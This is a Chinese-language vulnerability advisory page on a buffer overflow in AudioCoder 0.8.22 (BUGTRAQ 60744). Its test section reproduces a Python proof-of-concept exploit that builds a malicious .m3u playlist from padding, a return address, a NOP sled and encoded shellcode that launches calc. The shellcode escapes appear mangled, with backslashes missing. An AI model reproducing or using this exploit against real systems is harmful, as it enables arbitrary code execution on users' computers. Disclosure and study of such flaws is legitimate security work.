AudioCoder 0.8.22缓冲区溢出漏洞

发布日期：2013-06-24
更新日期：2013-06-26受影响系统：
MediaCoder AudioCoder
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 60744

AudioCoder是一个基于MediaCoder核心开发高性能音频转换工具。

AudioCoder 0.8.22及其他版本存在缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

<*来源：Onying

链接：http://www.exploit-db.com/exploits/26411/
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# ！/usr/bin/python header = "http://"
junk = "x41" * 249
junk+= "x53x93x42x7E"
junk+= "x90" * 16 #win32_exec - EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai
junk+=（"xb8xe2x59x26xe6x33xc9xdaxddxb1x51xd9x74x24xf4x5e"
"x31x46x10x83xc6x04x03xa4x55xc4x13xd4x0cxe3x91xcc"
"x28x0cxd6xf3xabx78x45x2fx08xf4xd3x13xdbx76xd9x13"
"xdax69x6axacxc4xfex32x12xf4xebx84xd9xc2x60x17x33"
"x1bxb7x81x67xd8xf7xc6x70x20x3dx2bx7fx60x29xc0x44"
"x30x8ax01xcfx5dx59x0ex0bx9fxb5xd7xd8x93x02x93x81"
"xb7x95x48x3exe4x1ex07x2cxd0x3cx79x6fx29xe6x1dxe4"
"x09x28x55xbax81xc3x19x26x37x58x99x5ex19x37x94x10"
"xabx2bxf8x53x65xd5xaaxcdxe2x29x7fx79x84x3ex4dx26"
"x3ex3ex61xb0x75x2dx7ex7bxdax51xa9x24x53x48x30x5b"
"x8ex9bxbfx0ex3bx9ex40x60xd3x47xb7x75x89x2fx37xa3"
"x81x9cx94x18x75x60x48xddx2ax99xbex87xa4x74x63x21"
"x66xfex7ax38xe0xa4x67x32x36xf3x68x64xd2xecxc7xdd"
"xdcxddx80x79x8fxf0xb9xd6x2fxdax69x8dx30x33xe5xc8"
"x86x32xbfx45xe6xedx10x3dx4cx47x6ex6dxffx0fx77xf4"
"xc6xa9x20xf9x11x1cx30xd5xf8xf5xaaxb3x6cx69x5exb2"
"x88x07xf0x9dx7bx14x79xfax16xe0xf3xe6xd6x28xf0x4c"
"xe6xebxdax6ex55xc0xb7x03x20x20x13xb0x7ex38x11x38"
"x33xafx2axb1x70x2fx02x62x2ex9dxfaxc5x81x4bxfcxb4"
"x70xd9xafxc9xa3x89xe2xecx41x84xaexf1x9cx72xaexf2"
"x16x7cx80x87x0ex7exa2x53xd4x81x73x09xeaxaex14xd3"
"xccxadx96x78x12xe7xa6xae"）
file = open（"audiocoder.m3u" , "w"）
file.write（header+junk）
file.close（）建议：
--------------------------------------------------------------------------------
厂商补丁：

MediaCoder
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.downloadbestsoft-mirror2.com/programs/AudioCoder-0.8.22.5506.exeHuawei VP9610/VP9620会话劫持漏洞（CVE-2013-4629）IceWarp Mail Server多个跨站脚本和XML外部实体注入漏洞相关资讯 AudioCoder

AudioCoder ".m3u"文件缓冲区溢出（05/04/2013 07:13:38）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款